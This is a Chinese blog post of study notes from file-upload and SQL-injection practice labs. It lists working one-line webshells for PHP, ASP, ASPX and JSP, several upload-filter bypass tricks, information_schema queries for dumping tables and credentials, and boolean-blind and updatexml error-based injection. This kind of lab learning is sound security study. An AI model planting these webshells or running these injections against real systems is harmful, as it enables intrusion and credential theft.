当前位置: 首页 > article >正文

upload靶场sql靶场一点点见解

upload

Webshell也叫脚本木马,分为大马,小马,一句话木马。

常见一句话木马

php

<?php @eval($_POST[value]); ?>

<?php assert($_POST[value]);?>

<?php

@preg_replace("/[email]/e",$_POST['h'],"error");

?>

asp

<%eval request ("value")%>

<% execute(request("value")) %>

aspx

<%@ Page Language="Jscript" %> <% eval(Request.Item["value"]) %>

Jsp

<%

if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("\\")+request.getParameter("f"))).write(request.getParameter("t").getBytes());

%>

打完upload靶场之后,写一点总结。

关于这个文件上传漏洞,主要从以下几方面入手吧。

看有没有前端验证,有的话可直接浏览器禁用或者删除验证代码。

后端验证

绕过方法:

1.php2, php4, php5, php7, phtml

2.双写绕过pphphp  ,大小写绕过 Php,pHP

3.再一加后缀  ::DATA 加空格绕过  加点绕过

4.%00截断绕过

5.图片马+文件包含漏洞上传

6.图片马+幻术文件头+include

7.条件竞争

差不多就这么多?以后补充,告一段落,开启sql靶场!!

sql

在sql语句中,注释符在闭合内(一对引号)是无法起作用的,只有 ?id= 1' (先把前面的闭合了),才能在后面加--+,用来注释

查库:

select schema_name from information_schema.schemata;

查表:

select table_name from information_schema.tables where table_schema='security';

查列:

select column_name from information_schema.columns where table_name='users';

查字段:

select username,password from security.users;

布尔盲注这里,我想说的一个点就是:

Select *** from table where id=1 and(or) length(database())=8 --+

以and(or)为中间线,左边是正常查询的内容,只要你在id的范围内(比如说任务定义id只有1-14)就是true,右边是我们自定义的判断T/F语句,正确便是true

And 两边都true才是true,返回 you are in……

Or 只要有一个是true就是true,就会返回you are in……

select name from table where id=1 and p=2(两个条件都满足才只执行)

select name from table where id=1 or p=2(两个条件满足其一即可)

在进行sql注入时候,我突然想到一个问题:我们在注入时在构造完payload之后,会用--+或者#将后面的内容注释掉,那岂不是把查询语句的“ ; ”也注释掉了吗,那这还怎么查询?

查看了一下源码,原来时这样:

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

php语言在构造$sql变量时就已经把分号排除在外了(注释最多注释掉limit0,1),我个人猜想应该是在php将查询语句给到数据库时候用函数把分号加上的。

报错注入理解:

Updatexml(xml_doument,XPath_string,new_value)

第一个参数:XML_document是String格式,为XML文档对象的名称,

第二个参数:XPath_string (Xpath格式的字符串)

第三个参数:new_value,String格式,替换查找到的符合条件的数据

也就是说第一个参数只是xml文档对象的一个名字,第三个是替换的内容,这两块儿的内容是不会检查的。

只有Xpath,第二部分,它会校验你的格式,所以只要我们把payload放在第二部分,它在把校验失败的数据暴露出来时,就把我们需要的数据爆出来了(漏洞本意是方便开发人员调试的)。

而且在报错注入时候,不是一定要用0x7e,只要能让它校验失败,其他的也是可以的,如:0x5e24 或者 '#'。

查询的时候应该要加一个where xx = xx and database()=security;

前面可加一个distinct去重。


http://www.kler.cn/news/363926.html

相关文章:

  • C++【string类的使用】(上)
  • 参加了十多个面试,一个offer也没拿到...为什么?
  • 【状态机DP】力扣2786. 访问数组中的位置使分数最大
  • 古埃及象形文字在线字典
  • 基于SSM+小程序的就业管理系统(就业1)
  • 为什么诺贝尔物理学奖颁给了 AI 大神
  • 【论文阅读】SRGAN
  • UE5 射线折射
  • Ubuntu22.04虚拟机安装
  • 牛客周赛63
  • 【OpenAI】第六节(语音生成与语音识别技术)从 ChatGPT 到 Whisper 的全方位指南
  • MFF原理描述
  • 2024-1024节
  • MySQL-存储引擎入门概念
  • 2024 Rust现代实用教程:1.1Rust简介与安装更新
  • 对于Windows 11蓝屏代码0x0000003B的研究
  • 【c++小游戏】Surviving版本v0.1.1
  • [LeetCode] 78. 子集
  • 标准函数let、run、also、all、with、takeIf、takeUnless
  • [LeetCode] 207. 课程表
  • 【Java知识】一款强大的SQL处理库JSqlPaser
  • 【优选算法篇】在分割中追寻秩序:二分查找的智慧轨迹
  • Oracle CONNECT BY、PRIOR和START WITH关键字详解
  • MoCoOp: Mixture of Prompt Learning for Vision Language Models
  • PHP多功能图片编辑器
  • 深入解析Golang GMP